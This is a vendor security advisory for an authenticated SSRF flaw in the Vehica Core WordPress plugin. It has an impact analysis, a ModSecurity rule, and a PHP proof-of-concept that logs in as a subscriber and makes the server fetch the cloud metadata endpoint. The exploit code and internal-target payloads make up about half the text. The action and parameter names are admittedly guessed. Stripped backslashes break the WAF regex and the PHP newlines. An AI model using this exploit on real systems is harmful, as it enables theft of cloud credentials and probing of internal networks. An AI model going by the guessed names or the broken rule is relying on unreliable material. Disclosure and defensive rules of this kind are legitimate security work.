Atomic Edge analysis of CVE-2026-66654 (metadata-based): This is an authenticated Server-Side Request Forgery (SSRF) vulnerability in the Vehica Core WordPress plugin, affecting versions up to and including 1.0.104. A subscriber-level user can force the WordPress server to make arbitrary outbound HTTP requests. The CVSS score is 6.4 (Medium), with a scope change indicating the attacker can affect resources beyond the vulnerable component.
Root Cause: The CWE-918 classification and description indicate the plugin accepts a user-supplied URL and performs a server-side request without adequate validation or restriction. Atomic Edge analysis infers that a subscriber-accessible AJAX action or REST endpoint passes a URL parameter directly to a function such as wp_remote_get() or curl_exec() without checking the destination host against an allowlist. No code diff is available, so the exact function name and hook are inferred from typical WordPress plugin patterns, not confirmed from source.
Exploitation: An attacker authenticates as a subscriber and sends a request to /wp-admin/admin-ajax.php with an action parameter likely named vehica_ssrf or similar, plus a URL parameter pointing to an internal service (for example http://127.0.0.1:8080/admin or http://169.254.169.254/latest/meta-data/). The server fetches the target and returns the response or triggers a side effect. No nonce or capability check beyond subscriber login is required, based on the stated privilege level. Atomic Edge research notes that exact parameter names are inferred; the PoC below uses common naming conventions and documents assumptions.
Remediation: The fix requires validating and restricting the destination URL. The plugin should resolve the hostname, reject private and link-local IP ranges, enforce an allowlist of permitted schemes and hosts, and disable redirects. Capability checks should be raised above subscriber level for any feature that performs outbound requests. Since no patched version is available, site owners should disable the plugin or apply WAF virtual patching.
Impact: Successful exploitation lets a low-privileged user probe internal networks, access cloud metadata endpoints, and interact with internal services that are not exposed to the internet. This can lead to information disclosure, internal service modification, and potential credential theft from metadata services. The scope change in the CVSS vector reflects that the vulnerable component can affect other systems.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66654 (metadata-based)
# Blocks SSRF attempts via the inferred Vehica Core AJAX action targeting internal addresses.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266654,phase:2,deny,status:403,chain,msg:'CVE-2026-66654 Vehica Core SSRF via admin-ajax',severity:'CRITICAL',tag:'CVE-2026-66654'"
SecRule ARGS_POST:action "@streq vehica_ssrf" "chain"
SecRule ARGS_POST:url "@rx ^(https?|ftp)://(127.0.0.1|localhost|169.254.169.254|10.d{1,3}.d{1,3}.d{1,3}|192.168.d{1,3}.d{1,3}|172.(1[6-9]|2[0-9]|3[0-1]).d{1,3}.d{1,3})" "t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66654 - Vehica Core <= 1.0.104 - Authenticated (Subscriber+) Server-Side Request Forgery
//
// Assumptions:
// - The vulnerable endpoint is a WordPress AJAX action reachable at /wp-admin/admin-ajax.php.
// - The action name is inferred as 'vehica_ssrf' based on the plugin slug and common naming.
// - The URL parameter is inferred as 'url'. Adjust these values if the actual handler differs.
// - The attacker has valid subscriber credentials.
$target_url = 'http://wordpress.local'; // Change to the target WordPress site
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
$ssrf_url = 'http://169.254.169.254/latest/meta-data/'; // Internal target to fetch
// Step 1: Log in to obtain authentication cookies.
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve66654');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);
if ($login_response === false) {
die("[!] Login request failed.n");
}
// Step 2: Send the SSRF request via the AJAX handler.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'vehica_ssrf', // Inferred action name; may differ
'url' => $ssrf_url, // Inferred parameter name; may differ
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
@unlink($cookie_jar);
if ($response === false) {
die("[!] SSRF request failed.n");
}
echo "[+] HTTP status: {$http_code}n";
echo "[+] Response body:n";
echo $response . "n";
// If the response contains metadata or internal service output, the SSRF succeeded.